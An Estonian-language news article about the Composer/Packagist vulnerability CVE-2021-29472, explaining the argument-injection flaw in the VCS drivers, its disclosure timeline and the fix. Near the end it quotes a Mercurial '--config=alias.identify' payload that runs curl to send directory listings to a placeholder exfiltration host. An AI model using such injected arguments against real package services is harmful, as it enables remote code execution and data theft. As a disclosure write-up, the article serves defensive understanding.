Pakettide halduris Composer esinev haavatavus, mis võimaldab PHP-repositooriumi Packagist kompromiteerimist.

Composer'i sõltuvuste halduris tuvastati kriitiline haavatavus (CVE-2021-29472), mis võimaldab käivitada süsteemis juhuslikke käske paketi töötlemisel, mille URL väärtus määrab allika, kust koode laadida. Probleem ilmneb GitDriver, SvnDriver ja HgDriver koostisosades, mis on kasutusel Git, Subversion ja Mercurial lähtekoodihalduse süsteemide puhul. Haavatavus on kõrvaldatud Composer 1.10.22 ja 2.0.13 väljaannetes.

Eriti väärib mainimist, et probleem on peamiselt mõjutanud Composer'i vaikimisi kasutatavat Pakettide hoidlat Packagist, kus on kokku 306 tuhat paketti PHP arendajatele ja mis teenindab kuus üle 1,4 miljardit allalaadimist. Katsetuste käigus on näidatud, et probleemist teadlikud ründajad võivad saada kontrolli Packagisti infrastruktuuri üle, varastada hooldajate autentimisandmeid või suunata pakettide laadimist kolmandatele serveritele, luues võimalusi sõltuvuste installimise käigus pahatahtlike muudatustega pakettide tarnimiseks.

Lõppkasutajate ohtu piirab see, et composer.json sisu on tavaliselt kasutaja määratud, ning viidatud lähtekoodid saadetakse kolmandate osapoolte registritesse, mis on tavaliselt usaldusväärsed. Põhivõimekuse löök tabas Packagist.org registrit ja Private Packagist teenust, mis kutsuvad esile Composerit, edastades kasutajatelt saadud andmeid. Kurjategijad võisid oma koodi käivitada Packagisti serverites, avaldades spetsiaalselt vormindatud paketi.

Packagisti meeskond kõrvaldas haavatavuse 12 tunni jooksul pärast haavatavuse teate saamist. Uurijad teatasid privaatsete teadete kaudu Packagisti arendajatele 22. aprillil, ning samal päeval probleem lahendati. Avalik Composeri uuendus haavatavuse kõrvaldamiseks avaldati 27. aprillil ja detailid avaldati 28. aprillil. Packagisti serverite logide audit ei tuvastanud seotud haavatavusega kahtlast tegevust.

Probleem on põhjustatud vigadest URL-i kehtivuse kontrollimise koodis peafailis composer.json ja allalaadimislinkides. Viga on koodis olnud alates novembrist 2011. Pakkujatena kasutatakse Packagist koodi allalaadimist ilma sõltumata kindlast allika haldamise süsteemist spetsiaalseid kihte, mis käivitatakse käsurea argumentide edastamisega "fromShellCommandline" meetodi kaudu. Näiteks git-i puhul kutsutakse välja käsk "git ls-remote —heads $URL", kus URL on töödeldud meetodi "ProcessExecutor::escape($url)" kaudu, mis pahatahtlikud konstruktsioonid, nagu "$(…)" või "`…`", ekraanil turvavad.

Probleemi olemus seisneb selles, et meetod ProcessExecutor::escape ei escape'inud järjestust „—“, mis võimaldas URL-is määrata igasuguseid täiendavaid kutsumise parameetreid. Selline escape puudus GitDriver.php, SvnDriver.php ja HgDriver.php draivides. Rünnak GitDriver.php kaudu takerdus selle tõttu, et käsk „git ls-remote“ ei toetanud täiendavate argumentide määramist pärast teed. Rünnak HgDriver.php kaudu tuli võimalikuks, edastades parameetri „—config“ utiliidile „hq“, mis võimaldab käivitada igasuguseid käske, manipuleerides seadega „alias.identify“. Näiteks koodi laadimiseks ja käivitamiseks curl utiliidi kaudu võis määrata: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Paigutades Packagist'i testpaketi, millel on sarnane URL, veendusid uurijad, et pärast selle paigutamist nende serverisse saadi HTTP-päring ühelt serverite Packagist AWS-is, mis sisaldas failide loetelu praeguses kataloogis.

Allikas: opennet.ru